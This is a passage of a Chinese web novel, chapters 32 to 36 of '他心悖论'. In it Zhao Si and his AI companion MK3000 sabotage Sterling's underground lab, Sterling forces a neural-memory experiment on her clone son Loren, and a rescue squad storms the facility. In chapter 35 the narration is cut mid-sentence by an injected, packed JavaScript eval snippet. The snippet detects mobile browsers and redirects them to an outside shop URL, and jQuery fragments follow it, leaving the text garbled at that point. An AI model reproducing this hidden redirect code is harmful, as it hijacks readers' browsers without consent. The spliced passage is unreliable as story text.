另一方面,则在信息本就复杂混乱的下城区,悄然散播关于“蝰蛇”诊所近期异常活动,可能与某些大人物秘密实验相关的暧昧流言。 来吧,现在是各方势力被动或主动下注的时间。 把水搅得足够浑,让压力从四处同时施加给该被“压力测试”的核心,也就是斯特林。 她还能维持住现在的步调吗? 赵四关掉所有档案界面,目光重新聚焦在主监控画面上。 那里洛伦似乎又陷入了短暂的头痛,正紧紧闭着眼,手指用力抵着额角。 这位身陷仙境迷雾的爱丽丝还不知道,围绕着他此刻的安危与命运,有不止一波人,正从不同方向朝着这座地下“城堡”汇聚而来。 赵四点了点视频里洛伦的额头,像仙女教母赠与祝福。 【那就祝愿亲爱的爱丽丝,最终能挣脱甜美的幻梦与无形的枷锁,清醒的回归现实吧。】 32.第32章 他心悖论32 城建历182年10月10日,下城区,蝰蛇诊所。 斯特林主导的关键性活体神经接驳实验,在即将进入测试阶段时,被意外中止了。 整个地下研究所的照明系统闪烁了几下,随后像被一只无形的手有条不紊地依次掐灭。 从他们身边开始,灯光次第暗下,如同退潮般向四周蔓延。 死寂的三秒钟后,光明又以完全相同的反向次序,逐一点亮。 备用电源的切换本该在毫秒级内完成,确保精密仪器不受任何影响。 但这次,那短暂却清晰的三秒全黑间隔,足以让数台高敏度仪器的数据出现不可逆的断层,也让正在进行预载的诱导场发生了微妙的相位偏移。 强行继续实验,会造成无法预测的后果。 而这次的“实验材料”……又是如此珍贵且难以替代。 斯特林的眼神瞬间冷冽如冰。 她没有立刻发怒,甚至没有说话,只是缓缓转过头,将目光投向负责研究所内部系统与能源供应的技术主管。 那是一个看起来过分年轻的技术人员。 此刻,那少年的额头已布满细密的冷汗。 他的手指在个人终端上疯狂敲击,调取着层层叠叠的后台日志与监控数据,试图定位故障根源。 很快,初步排查结果弹了出来。 少年脸上的血色彻底褪尽,表情凝固,整个人僵在原地,嘴唇微微颤抖。 “……非正常程序断电……指令源……外部强制协议覆盖……这怎么可能……” 他喃喃自语,声音里充满了难以置信的困惑。 “我们的备用线路是独立供能模块,物理隔离层理论上至少有……三重……” 斯特林没有再看他第二眼。 仅仅是这个初步结论,已经说明了一切。 这不是内部失误,而是来自外部的精准干扰。 有人不仅摸到了他们的能源供应网络,还成功地越过了多重防护,在关键时刻实施了阻断。 斯特林对自己的副手下达指令:“立刻进行全面自查和物理线路复核,找出所有潜在漏洞。” “在我返回之前,实验设备保持最低功耗待机状态,所有主动操作流程暂停。 “提升洛伦所在区域安保等级至‘红标’,非我本人或你亲自授权并带领,任何人不得接近,通讯进出需双重验证。” 吩咐完毕,斯特林不再停留,转身快步朝着洛伦所在的独立休息隔离区走去。 她的脑中飞速闪过数个可能性。 是环宇内部对她不满的派系终于忍不住出手阻挠,还是卡斯珀改变了默许的态度,决定干预? 或者四方科技……那个继承了房律一切遗产的“房馥臻”,终于将目光投向了这里? 没有确凿证据,任何一种猜测都无法证实,却也无法完全排除。 斯特林强行停止了这种近乎自我消耗的思绪循环。 她现在只需要明确一件事:无论干扰源自何方,对她而言,都绝非吉兆。 …… 四方科技总部,顶层办公室。 那场精准的“断电事故”,自然是赵四与MK3000的手笔。 此刻,他面前的数个光屏正实时显示着“蝰蛇”内部的混乱。 MK3000:【干扰程序执行完毕,成功植入三秒延迟,触发实验暂停,期间未触发深层警报。】 【斯特林已离开实验区,前往洛伦所在位置。】 赵四的目光锁定在主屏幕上斯特林匆匆离去的背影。 【很好,这种程度足够引起她的警惕,但又不会让她立刻断定是全面入侵。这种‘不确定的威胁’,往往最消耗决策者的心力。】 MK3000标注出几个新激活的监控点和巡逻模式变化。 【她第一时间加强了洛伦区域的安保,反应很迅速。我们要按照预案C行动吗?】 【再等等。】 赵四调出另一组数据,那是经过多重加密跳转后、从下城区不同角落传回的信号摘要。 画面和数据交错,勾勒出“蝰蛇”外围的动态。 一支装备精良、行动静默的小队如同融入阴影的猎豹,已在诊所废墟外围的关键节点完成布控与潜伏。 赵四知道,其中必然有居安新本人。 而在更远处一个看似寻常的角落,邓肯正通过一套临时架设的设备,接收来自不同渠道的信息。 赵四看着这些实时画面,眉梢微挑。 【这些关键人物……倒是都亲自下场了。】 这显得他赵四很格格不入哎。 MK3000表示:【居安新是救人心切吧……邓肯是动用了自己的特殊渠道,他这些年虽然在四方科技内部发展平平,但下城区的势力是收拢了不少。 当然,此刻这些底牌都暴露在“房馥臻”的眼皮底下了。 赵四看着那组数据,仿佛看到了更远处无声涌动着的潮水。 那些被流言与异常动静吸引,或因利益、或因警惕而开始关注此地的下城区本地势力,也如同嗅到血腥味的鬣狗,正从各自巢穴中探出头来,目光投向“蝰蛇”所在的方向。 他精心编织、层层铺设的压力网络,正在悄然收紧。 每一根被牵动的丝线,都在向风暴的中心传递着无形却切实存在的重压。 这种多方关注且暗流涌动的状态,会极大分散斯特林的注意力,消耗她本就不宽裕的决策资源与反应时间。 同时,也为接下来几乎可以预见的混乱,创造了绝佳的发生条件。 盘算完这些有的没的,赵四的目光重新落回主监控画面——洛伦所在的休息室。 …… “蝰蛇”地下研究所,独立休息隔离区。 洛伦·艾克缓缓从柔软得过分的沙发椅上坐直身体。 对于方才那场突兀的全区域断电,他的反应远比表面看上去要复杂得多。 在他的感知中,这间休息室的环境始终处于一种微妙的叠加态。 有时,它是童年记忆里那个温馨、明亮、堆满童话书和柔软地毯的“安全屋”; 有时,它又会瞬间褪去所有暖色,变成一间布满隐蔽接口和监测探头的全金属“茧房”。 两种景象在他眼前交织闪烁,呈现出一种怪异却被他逐渐习惯的和谐感。 他抬手,用力按压着依旧隐隐抽痛的太阳穴。 那里仿佛有什么东西在不安分地搏动,与这间歇性的环境闪烁同步。 随着断电带来的那一瞬间的绝对黑暗与寂静,他眼神中的茫然也退去了少许。 门外,斯特林急促的脚步声由远及近,最终在门外戛然而止。 下一秒,门无声滑开,斯特林的身影 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“我一直都很好呀,只是刚才突然黑了一下,有点吓到了而已。您呢?实验还顺利吗?” 他的语气充满了全然的信任与关切,仿佛刚才那一瞬间的距离感从未存在过。 斯特林的手在他发间停留,感受着掌心下温顺的触感,眼底深处那抹锐利的审视似乎放松了些许,但并未完全消散。 她温柔地揉了揉他的头发。 “实验遇到一点小技术问题,需要调整。别担心,妈妈会处理好的。 “你只要在这里好好休息,等妈妈忙完就带你回家,好吗?” “好。”洛伦乖巧地点头,重新靠回沙发椅背。 他闭上了眼睛,长长的睫毛在眼下投出一小片阴影。 他轻声道:“我会等您的。” 斯特林又注视了他几秒,确定他似乎重新沉浸在了那种非正常的状态中后,才轻轻收回手,转身离开了休息室。 门再次无声合拢。 直到确认她的脚步声彻底远去,洛伦才缓缓地重新睁开了双眼。 那双碧绿色的眼眸里,先前所有的懵懂、依赖与温顺已然褪尽,只剩下一种近乎残酷的清醒与冰冷。 他抬起自己的手,目光落在修长干净的手指上。 恍惚间,他似乎看到指尖沾满了粘稠、暗红的血渍。 但下一瞬,那令人心悸的景象又闪烁消失,仿佛只是幻觉。 他虚空抓握了一下,只握到了无菌空气的微凉。 一个极轻的、几乎听不见的声音从他唇间逸出。 “如果这就是你想要的……” …… 赵四完整地看完了洛伦那边发生的一切。 MK3000问赵四:【他想干什么?】 【啧……】 赵四将监控划到了一边,站起来走到了落地窗前。 窗外仍是那片纯净却虚假的云海。 “还真是……人傻了。” 洛伦·艾克,这位环宇集团的小少爷,在这场由母亲主导的剧目中,似乎并非全然被动。 他更像是明知道些什么,却清醒着主动沉沦。 你在想什么呢,洛伦·艾克? 33.第33章 他心悖论33 洛伦·艾克是谁? 他是卡斯珀·艾克与斯特林之子,环宇集团未来的继承人。 自年幼起,“洛伦”便被告知,自己曾重病濒危,因此全家人都对他格外小心翼翼。 在周围人无微不至的呵护下,他如同一株温室玫瑰般悄然生长。 温室内没有痛苦,没有悲伤,更没有风雨,只有被精准调控的温暖与安宁。 那时,哪怕被温室植物的刺划出一道浅浅伤口,都足以引发一场慌乱。 少年时期的“洛伦”,捧着受伤的手,每日最大的烦恼,是如何说服家人允许他出门玩耍。 直到有一天,一位来自外界的园丁闯入了这座温室。 园丁对着一丛枯萎的野玫瑰低声哭泣。 “洛伦”好奇地走近,问他为何伤心。 园丁抬起泪眼:“我在为您哭泣啊,小少爷。” 为您不谙世事的天真,为您苍白脆弱的纯粹,为您对真相一无所知的愚蠢。 “小心,千万小心!您身后是无底深渊!您的父亲他根本不是——” 话未说完,赶来的父亲已结束了园丁的生命。 “洛伦,这人刚才胡说了什么?” “洛伦”握紧手中带刺的植物,鬼使神差地轻声答道:“什么都没说。” 卡斯珀相信了“洛伦”,未再追问。 从此,那株带刺的植物在他心底扎根。 无声的怀疑开始悄然蔓延。 母亲说:“洛伦,你要更加出色。” “洛伦”点头。 父亲说:“洛伦,你要为集团付出更多。” “洛伦”点头。 一年又一年,那些无法言说的怀疑推着他,让他变得比以往更乖巧、更努力,再未提过要走出温室玩耍。 按照父母的安排,他进入顶尖大学深造。 按照父母的安排,他进入环宇集团学习管理。 按照父母的安排,他……接受了毫无感觉的居安新。 只因亲人们反复告诉他: “这都是为你好。” “集团需要你。” “居安新身上有我们所需之物。” 时至今日,“洛伦”仍在顺从父亲和母亲。 “我对你们还有用吗?” 卡斯珀先生与斯特林女士从容微笑:“当然有用,我的孩子。” 明明得到了肯定的答复,为什么他却感到浑身发冷? 是因为母亲眼中逐渐蔓延而上的、如同冰霜般的审视; 还是父亲未曾说出口的,那些日益明显的失望? 别再想了。 他已不再是那个无能为力的孩子。 他已经长大了。 他已经……他已经…… “你早就有所猜测,不是吗。” 一道看不清面容的黑影扭曲着发出怪笑,它贴近洛伦,如融化的蜡一般黏附着他。 “毕竟你如此聪明——我亲爱的小少爷,三岁那场大病,你真的活下来了吗?” “洛伦”恍惚片刻,映入眼帘的是男朋友担忧的面容。 他扬起精心调整过的微笑,走向居安新。 “我没事,刚刚只是在想该去哪里约会。你有主意了吗,男朋友?” 居安新笑着与他并肩,“难题就这么丢给我?偷懒可不行……” 他们一同穿过黑影,黑影在他们身后如遇见阳光的晨雾般消散。 人造气候穹顶模拟的明明是灿烂晴空,“洛伦”却不由自主地轻颤。 【我……】 【我是……卡斯珀·艾克和斯特林的儿子,是环宇集团的继承人……】 ——真的吗? 【我要变得更出色,为集团付出更多……】 ——是吗? 黑影再度浮现。 它扭曲着幻化出一张脸,在“洛伦”身后纵声大笑。 “喂——你明明知道——你很可能不是他!哈哈哈哈哈——” 头在隐隐作痛。 为什么只要靠近居安新,黑影便愈发活跃? 为什么只要对居安新演戏,黑影便愈发欢愉? 望着居安新毫无察觉、充满爱意的脸,一种未知的情感在洛伦心底悄然滋生。 偶尔,居安新的面容仿佛会在视野中幻化成另一个人。 那是谁? 耳畔嗡鸣渐响,身边每个人都透出细微的异样。 唯有少数几人在变幻的环境中保持稳定。 黑影贴上去细细端详,“哦,是他们。” “洛伦”先是不解,随即恍然。 他想起来了。 自己一直活在旁人的观察与监控之下。 这样的人已跟随他十年之久。 他们背后会是谁?说是父母,却又不像——在他成年后,父母已很少再派人监视。 毕竟他已用行动证明了自己的顺从。 那么会是…… “洛伦”沉默未答,黑影也不介意。 它轻快地跳了几步,又凑到“洛伦”面前。 “说不定你就是从他们的实验室诞生的呢,长期被列为观察对象,似乎也不难理解。” 【比起这个,你该想想母亲……她最近似乎在犹豫什么。】 黑影“喔”了一声,“不管那女人在盘算什么、又要做什么,难道你能拒绝?” ……他不能。 “所以呀,与其纠结无法改变的事,不如先看看你眼前的男朋友?他好像很担心你最近的身心状态呢。” 【我不明白。】 “不明白什么?说来让我听听乐子。” 洛伦不明白的事太多太多。 尤其是居安新近日的变化,让他感觉一切正脱离掌控。 “哈哈哈哈哈。” 黑影再度狂笑,笑得前仰后合,最后抱着肚子滚倒在地。 笑够之后,它才从黑洞洞的脸上装模作样擦了擦笑出的泪,好心解答“洛伦”的困惑。 “他爱你,洛伦,如同爱自己身上取下的肋骨。” 冰凉的手指抵在洛伦肋间,黑影的语调微妙难辨。 “而且……他每次见你,爱意便更深一分。” “洛伦”点亮个人终端,屏幕上显示着一封来自后勤小组的邮件。 为了确保与居安新交往顺利,父亲卡斯珀专门为他组建了这个小组。 小组的使命是全面分析“洛伦”与居安新的一切互动,并为他量身定制下一步攻略计划。 在这样的精心设计下,居安新喜欢的,到底是“洛伦”,还是那个被后勤小组设定好的“完美恋人”? 他不知道答案,也不想知道答案。 新的一天照常到来。 按照后勤小组的计划,“洛伦”与居安新吵了一架。 随后他要“怒气冲冲”地独自驾车回家。 正是在这条路上,他接到了斯特林女 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【是啊,母亲……不,斯特林女士近日的言行,为我补上了最后一块拼图。】 结合自己的调查,他已得悉所有答案。 依旧是那个问题:洛伦究竟是谁? 是卡斯珀·艾克和斯特林的儿子,环宇集团的继承人。 也是……三岁时便因基因病夭折的可怜小孩。 那么“洛伦”又是谁? 是无名的影子,是拙劣的复制品,是证明那个孩子曾经存在过的、活着的……遗物。 四方科技长年累月的监视,至此也有了答案。 尽管不知四方科技如今的掌权者如何看待他,但这些都已不重要了。 世界仍在眼前变幻不定。 “洛伦”却奇异般松弛下来,甚至泛起一丝笑意。 【你倒是个称职的魔鬼。】 黑影羞涩:“过奖过奖。” 【你这样子,谁能想到你是我的‘本我’呢?】 黑影扭捏起来:“哎呀,这也不是我能选的嘛。” “洛伦”向前走去,对沿途遇见他而面露惊惶的人们视若无睹。 何谓本我? 那是人格最原始的部分,是直诉生物本能、不受道德与逻辑约束的“我”。 与之相对的,还有内化的规范与理想,以良知与完美标准约束行为的“超我”,以及在现实与本我之间协调平衡的“自我”。 而这“黑影”,正是“本我”的化身。 黑影向“洛伦”张开双臂,“洛伦”却再次穿它而过。 “你对自己可真坏。” “洛伦”恍若未闻。 “罢了罢了,你们‘超我’向来如此,我也习惯了。”黑影耸肩,再度跟上。 “你要去赴死吗?” 【……嗯。】 “真可惜。” 可惜吗?“洛伦”不以为然。 他已明了所有想知的真相,唯剩最后一个愿望尚未实现。 他要为自己的“母亲”,献上最后的礼物。 【即便我不是您的孩子,即便您对我毫无爱意……只要您还需要我,这具躯体便仍有最后的用处。】 ——母亲啊,请用您的“爱”,完成对我最后的淬炼吧。 34.第34章 他心悖论34 赵四眼见着洛伦如入无人之境般向前行去。 MK3000 此刻像一台无情的播报机器: 【洛伦经过监控网络第六节点,遭遇研究员……好,他过去了,没被拦。】 【前行数米,遭遇安保机器人……好,又过去了,没被拦。】 【前方左转中央实验室……漂亮,还是没人拦他。】 【三儿……你这播报让我感觉自己像在玩什么像素风 RPG 游戏。】 MK3000 嗑瓜子似的嚼了一颗,含糊道:【有什么区别?】 区别可大了。 若真是游戏路上的小怪,好歹也该拦下主角触发战斗。 洛伦却轻松得多,一路走来,竟无任何生物或非生物敢阻拦。 任谁看了都得感慨一句:亲儿子的待遇就是不一样。 赵四吐槽:【是极度珍惜型实验体的待遇吧。】 就这么信步而行,洛伦顺利抵达斯特林面前。 斯特林面露惊愕。 “洛伦,你怎么在这里?” 洛伦低下头,姿态温顺。 “我听说母亲的实验需要我,就来了。” 斯特林看向身旁的副手——那位赵四曾见过的女人摇了摇头。 “可能是手下研究员有人不慎说漏了嘴。” 斯特林:“故障排查完毕了吗?” 女人侧身让出通往试验场的通道:“已全部就绪,实验随时可以继续。” 斯特林颔首,未再多言,带着洛伦走向试验场。 经过一系列繁复的消杀流程,洛伦·艾克清醒而平静地躺上实验台。 束带自动扣合,冰凉的传感器贴片贴上他的皮肤。 这场酝酿已久的“献祭”,正式进入倒计时。 斯特林站在主控台前,凝视监控画面中洛伦那双异常空茫的碧绿眼眸。 那眼中没有恐惧,没有迷茫,只有一片坦然。 这彻底碾碎了她心底残存的最后一丝动摇。 很好,这才称得上完美的素材。 药物与心理的控制确实有效。 在没有情绪与意志干扰的情况下,纯粹而可供解析的生理反应与神经通路,显得尤为可爱。 她下达指令:“开始第一阶段。” “是,斯特林女士。” 神经基线测绘与稳定性测试启动。 早已备好的透明液体,通过精密输液泵稳定注入洛伦静脉——那是神经耦合剂。 几乎是瞬间,洛伦的身体微微绷紧,呼吸节奏发生了变化。 ——这不是抗拒,而是神经系统对药物的本能反应被精准捕捉、放大并记录。 实验室内的研究员们各司其职,数据在屏幕上飞速滚动。 …… MK3000 分析着数据,为赵四解读: 【洛伦开始主动配合了。他正刻意压制某些本能应激反应,使神经信号呈现出一种非自然的稳定状态。斯特林可能会被这种假象误导,从而加速实验进程。】 赵四吐槽:【这世界的特色是不是干什么都特别快?】 这才多久,调人过去都险些来不及。 他切入加密频道,向多里安下达指令: “瞄准他们的内部广播系统。等我信号,将处理过的档案碎片嵌入系统报错提示音,持续时间不得超过1.5秒。” “记住,务必做得自然,要像旧数据残留被意外触发。” 多里安:“明白。已在目标系统后台预设‘幽灵数据包’。” “居安新的位置?” “他已按提供的路线,带小队潜入‘蝰蛇’上层区域,距离核心实验室垂直距离约四十米,中间隔有两层强化防护与至少三支巡逻队。” “告诉他,五分钟后,他所处区域西南角的通风管道滤网会‘因设备老化’意外脱落,持续三分钟。” 那是通往下层监控盲区的捷径,但宽度只能容纳单人行进,且尽头设有动态传感器。 将计算好的信息发出后,加密频道再度静默。 赵四需要居安新在内部制造足够的混乱、吸引注意力,但并不希望他贸然冲至实验台前。 信息已经给了,居安新能做到哪一步,得看他自己的本事。 …… 试验场内。 斯特林的声音再度响起:“第二阶段开始。” 第二阶段是记忆区的浅层映射。 洛伦感到仿佛有无数细针轻轻刺探着大脑皮层,那感觉并不剧烈,却令人极度不适。 一些模糊的画面开始不受控地闪现—— 生日宴会上,母亲向他微笑; 父亲拍他肩膀时沉甸甸的目光; 居安新在生态区别墅为他调试智能窗帘时专注的侧脸…… 斯特林紧盯着屏幕上滚动的数据流。 她在意的并非这些日常碎片,真正需要追溯的,是深埋在表象之下、连“洛伦”自己都已遗忘的“基底记忆”。 自她决意将自己的儿子与眼前这个“洛伦”彻底区分开来开始,她便意识到: 这个所谓的“洛伦”,很可能不过是一个房律精心培育的复制体。 无论如何,她都必须找回真正的洛伦——那个她亲手养育过的孩子。 她坚信记忆塑造灵魂,因此眼下最紧要的,便是寻回真正洛伦存在过的所有痕迹。 此刻,她几乎触手可及—— 那些属于真正洛伦的、在复制体培育初期便被植入的原始记忆碎片,已近在咫尺。 时间分秒流逝,寂静中回荡着仪器的低鸣。 实验室内气氛愈发紧绷。 外部压力虽被厚重防护隔绝,但在场每个人都能感受到斯特林身上散发的压迫感。 她的声音依旧平稳:“准备第三阶段。” 深度神经接驳协议启动。 预设密钥的记忆锚点被打开。 “密钥”记忆锚点是斯特林根据多方情报推测出的、最可能与“原始洛伦”相关的记忆碎片位置。 这是整个实验的核心,也是最危险的一步。 就在大型神经接驳装置发出低沉嗡鸣、即将与预留专用接口对接的刹那—— “滋啦——!” 实验室主广播系统突然爆出一阵尖锐的、如同信号干扰的杂音,持续约一秒半。 在这刺耳噪音中,夹杂着几个极其短暂、几乎难以辨别的音节: “……基因备案……编号异常……匹配……失败……” 声音戛然而止。 所有研究员都愣住了,连斯特林也猛地抬头看向广播方向。 而实验台上,洛伦的身体剧烈一颤。 那双半阖的眼,在那短短一秒半的杂音中,瞳孔骤然收缩至极限。 那是什么? 那模糊而破碎的音节,像一把生锈的钥匙,猛地捅进了他记忆深处某个被层层封锁的角落。 不同 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他们看起来三四岁的模样,却可能才出生了一天。 像货物一样被人拣选,像器皿一样被人摔碎在地。 他们……他们…… 有一个男人越众而出,所有穿防护服的人都朝他微微低头。 这个人走到了某个孩童的面前,伸出手按在他的头顶。 “人生来便是无瑕的器皿,需盛满他人的期望,才能长出灵魂。”男人似乎在笑,“β-17,你是最优秀的那个,别让我失望。” 那孩子没说话,只是学着身边穿防护服的大人们低下头,表现出乖顺与臣服。 于是男人夸赞道:“好孩子。” 他收回手,向洛伦的方向看来。 “把那个孩子给卡斯珀送回去吧。” 有人快速行动了起来。 洛伦感到视角一震,随即略微升高,仿佛被人抱起。 他们在轻微颠簸中向外移动。 抱着他的人低声嘟囔:“幸运的孩子。” 顷刻间,浓重的悲恸弥漫上来,洛伦几乎窒息。 “啊——啊啊啊——!!!” 斯特林猛地回神,顾不上深究广播,她厉声道:“镇定剂Ⅲ型,标准剂量,立刻注射!” “女士,没、没用!Ⅲ型的镇定剂失效了!” “那就加量!” “砰!砰砰!” 沉闷的撞击声和轻微的爆炸声隐约传来,连厚重的隔离层也无法完全隔绝。 斯特林深吸一口气:“怎么回事?!” “上、上层C区传来入侵警报!有不明身份武装人员突破外围防线,正在与安保交火! “对方人数不多,但装备精良,战术熟练!” 回应她的声音带着惊慌,斯特林闭了闭眼睛,反而镇定下来。 “启动内部防御协议,调集第二、第三安保小队前往拦截,必要时可以使用致命性压制武器,绝对不允许让他们靠近核心实验室! 斯特林的声音冰冷刺骨。下达命令后,她转回身,看向实验台上的洛伦。 “实验继续!加快进度!” 就快了,她就要达成她的目的了! 再给她一些时间……! 35.第35章 他心悖论35 就快了,再给她一些时间,她很快就要达成目标了! 斯特林已无暇顾及监控屏幕上愈发激烈的交火信号。 将指挥权限移交副手后,她的全部心神都锁定在洛伦身上。 在过量镇定剂的作用下,洛伦已逐渐平静。 这个复制体身上爆发出的剧烈反应与混乱记忆,虽与计划不符,但在斯特林看来,这正是触及“基底记忆”的证明。 她的声音斩钉截铁:“加大神经耦合剂流量,启动强制稳定协议,准备接入深层记忆区!” “女士,实验体生理指标波动剧烈,强制接入风险极高……” “执行命令!” 于是更多液体注入洛伦的血管。 在药物的作用下,他的手指轻轻挣动了一下。 此刻,洛伦的意识正在记忆的洪流中沉浮。 无数破碎的画面、混杂的声音、冰冷的触感…… 最终定格在房律那双带着审视与期待的眼睛——那眼神仿佛在欣赏自己最得意的作品。 还有那句刻入骨髓的话: “人生来便是无瑕的器皿,需盛满他人的期望,才能长出灵魂。” 器皿……器皿……我也是吗? 从诞生之初,就注定要承载某个早已逝去孩童的幻影。 或者,是为了此时成为母亲执念的祭品? 母亲……我的母亲啊…… 剧痛、窒息、无尽的悲恸如潮水涌来—— 但与此同时,一种奇异的平静却从心底最深处悄然升起。 就这样吧。 这就是我的价值所在。 至少这一次,我还“被需要”。 可是为什么…… 黑影的话语仍在心底回响: 【“他爱你,洛伦,如同爱自己身上取下的肋骨。”】 【“而且……他每次见你,爱意便更深一分。”】 啊,是那个人。 那个不知他卑劣本相、爱上了一个只存在于幻影中的完美爱人的男人。 洛伦下意识地又挣动了一下。 这是反抗吗?他不知道。 如果那微弱地、想要抓住一丝温暖光亮的本能,也能算是反抗的话…… 镇定剂与强制协议正一点点碾碎洛伦的意识,那些纷乱的画面逐渐远去。 就在大型神经接驳装置发出更响亮的嗡鸣,接口即将再次与洛伦的神经端口对接的刹那—— “砰——轰隆!” 不再是模糊的撞击声,而是近在咫尺的剧烈爆炸! 实验室厚重的合金隔离门向内凹陷、变形,随即在一声轰响中,火舌与电光随着被掀飞的大门席卷而入。 烟尘弥漫间,数道身影突入! 居安新并非第一个冲进来的人,但在队友掩护下,他第一眼就锁定了实验台上的洛伦。 洛伦脸上那种近乎空寂的平静,像一根尖针,狠狠刺进居安新的心脏。 他厉声喊道:“洛伦!” 这支如幽灵般突然出现的精锐小队,令所有人大惊失色。 斯特林的副手瞬间反应过来:“C区是诱饵!该死的……是下城区的那些帮派!” 斯特林反应极快,几乎在爆炸响起的瞬间就按下了某个按钮。 实验台周围瞬间升起透明的能量屏障,将洛伦隔绝在内。 同时,她身形急退,要去启动预设的紧急销毁程序。 这绝非当年房馥臻他们那种半吊子装置—— 这是斯特林精心布置、足以将整个核心实验室连同内部所有资料与生命体彻底化为灰烬的最终手段! “拦住她!” 居安新身后一名队员低吼,一道高速动能弹擦着斯特林指尖飞过,击碎了主控台一角。 可惜,这一击未能阻止她按下按钮的动作。 刺耳的警报声骤然响彻整个地下空间: “自毁程序已启动,倒计时:180秒。” 读秒声一起,实验室瞬间陷入混乱。 研究员们惊恐地冲向出口,而一手促成这一切的斯特林却站在原地,望着屏障内似乎对外界变故毫无反应的洛伦,有些失魂落魄。 她想到了很多事。 有年少时不知天高地厚、自诩天才的轻狂; 有成年后主动陷入情感游戏,周旋于天之骄子间的刺激; 有后来和卡斯珀结婚的甜蜜; 想起得知自己将为人母时的欣喜,还有…… 还有之后的风云突变。 “我的洛伦……” 她的珍宝。 她未必不知道那孩子已经逝去。 未必不明白自己是在逆流而上。 她只是……不甘心啊。 “结束了……一切都结束了……” 居安新目眦欲裂,冲向能量屏障。 在经过斯特林时,她恍惚间仿佛看见年轻时的房律正朝自己冲来。 两人擦肩而过。 居安新顾不上其他,竭尽全力试图打开屏障,却收效甚微。 “洛伦!看着我!醒过来!” 屏障内,洛伦似乎听到了呼唤,眼珠极其缓慢地转动了一下。 他的视线投向居安新的方向,眼神却仍未聚焦。 嘴唇微微翕动,发不出半点声音。 但居安新看清了那个口型——“走”。 “我不走!”居安新几乎用尽全身力气嘶吼,“你要我看着你就这样消失吗?!洛伦——” 最后的呼唤几近破音。 实际上,洛伦在药物的作用下已听不太清声音。 但他突然很想对爱人笑一笑。 想说对不起,想告诉居安新所有真相,想将自己完完全全、明明白白地摊开在这个人面前。 可惜,想说的话太多,时间却太短。 他连勾起嘴角的力气都已失去。 有湿润而温暖的液体从眼角滑落。 ——走啊,居安新! 就在这时,异变陡生。 实验室所有的显示屏,包括斯特林面前破碎的主控台残骸上,突然同时闪烁了一下。 倒计时的读秒滑稽地卡顿着,仿佛在与某种未知的力量对抗。 很快,倒计时消失,一切重归寂静。 广播处传来沙沙的电流声,斯特林脸上那失魂落魄的茫然瞬间凝固。 一道平直的电子合成音,通过广播系统响了起来: 【这是我们的初次对话,斯特林女士,或许你并不知道我是谁,但我对你慕名已久。在接下来的对话中,你可以称呼我为……】 声音顿了顿,仿佛经过短暂思考后才继续说道:【你可以称呼我为β-17。】 “β-17……” 斯特林失神地重复着这个编号。 她并不清楚其具体含义,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148623|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭借经验,一种不祥的预感已然升起。 【不必惊讶,也无需费心猜测。我可以直接告诉你:当初洛伦的克隆体,并非只有你眼前这一个。】 【从某种意义上说,我和躺在那里的‘洛伦’——或者你更愿意称他为α-0——我们出自同一个地方,甚至可能共享着某些更深层的‘出厂设置’。】 【区别在于,我留在了实验室,成为了有缺陷的损耗品;而他,被送到了你身边,成为了你寄托哀思的……容器。】 斯特林踉跄一步,扶住旁边碎裂的操作台边缘。 她望向能量屏障内的洛伦——他没有任何反应。 是的,他听不见这些,但居安新已几乎要按捺不住怒骂。 斯特林喃喃道:“像这样的孩子……还有很多个?” 【我想,对创造我们的人来说,好用的实验体自然是越多越好。】 斯特林如遭重击。 “那我的洛伦……” 【他离去时还太小,那段模糊的记忆又被复制了太多回——你所追寻的‘原始洛伦’,早已不复存在。】 在斯特林身边长大的这个“洛伦”所拥有的,那些对父母的执着、对居安新的爱—— 都是属于他自己的东西。 斯特林无法从“洛伦”这里找回她的儿子,她所做的一切,只会摧毁一个独立的灵魂。 斯特林已从这位自称为“β-17”的话语中,听出了他的弦外之音。 她像是听到了天大的笑话,嘶哑而绝望地笑了起来。 “不可能……只要有副本,我就能找回原本!这项技术……这项技术本来就是我的研究!” 是的,她知道房律当年明知她是卡斯珀的女友,却仍向她示爱——正是因为她手中的技术。 但当时的她并不在意。 她在意的,是房律背后的四方科技所能提供的最顶尖科研资源。 能用这个吸引四方科技的注视,正是天才的特权! 很快,斯特林借助房律的关系加入了四方科技的隐秘实验小组。 然而后来,那个自认早已失去良心的斯特林,终究无法对一切视若无睹。 漆黑冰冷的夜晚,房律将她搂入怀中,轻声安慰: “基因技术是关乎未来的科技革命。它的发展,注定要踏过尸山血海。” “斯特林,别怕,我们是在为人类的未来而奋斗。” 她当时说了什么?已经记不清了。 她只记得,在那个夜晚,她下定了决心。 第二天,斯特林找到了始终对自己关照有加的学长邓肯,通过他要到了卡斯珀的通讯号码。 她拨通了卡斯珀的通讯。 “我累了,房律给不了我想要的……带我走吧,卡斯珀。” 听着通讯那头卡斯珀欣喜若狂的一连串追问,斯特林耐心地一一回应。 就这样,凭借环宇集团的庇护,斯特林成功从四方科技脱身。 此后的一切似乎都很美好。 离开了冷酷的房律,仿佛连属于人类的温度也重新回到了斯特林心中。 她结婚、生子,生活美满幸福。 即便后来独子患病,房律也不计前嫌,在利益的驱动下治好了洛伦。 ……她曾以为,这就是一切的终结。 未曾想这却只是一切的开始。 斯特林听见广播里的声音似乎笑了一下。 36.第36章 他心悖论36 【斯特林女士,我理解你此刻的波澜。但恕我直言——你的过去,不应成为如今镌刻在洛伦·艾克命运之上的沉重债务。】 【我并非审判者,也无权对你的选择做出裁决。然而,以过往的伤口为基石,去雕琢另一个尚且无辜的灵魂,试图将他塑造成填补空洞的工具——这从来都不是通往救赎的道路。】 【看看那个依旧躺在那里的年轻人。他不应仅仅被视作‘珍贵的实验样本’或‘完美的耗材’——他在呼吸,他能感知痛苦与温暖,他正在以自己的方式,真实地‘存在’。】 【而赋予他这份生命质感与重量的,并非你施加的期望与塑造。是爱、是渴望、是挣扎,是所有那些……你或许从未给予过他的东西。】 居安新紧贴着屏障,屏住呼吸听着每一个字,心脏如擂鼓般撞击胸腔。 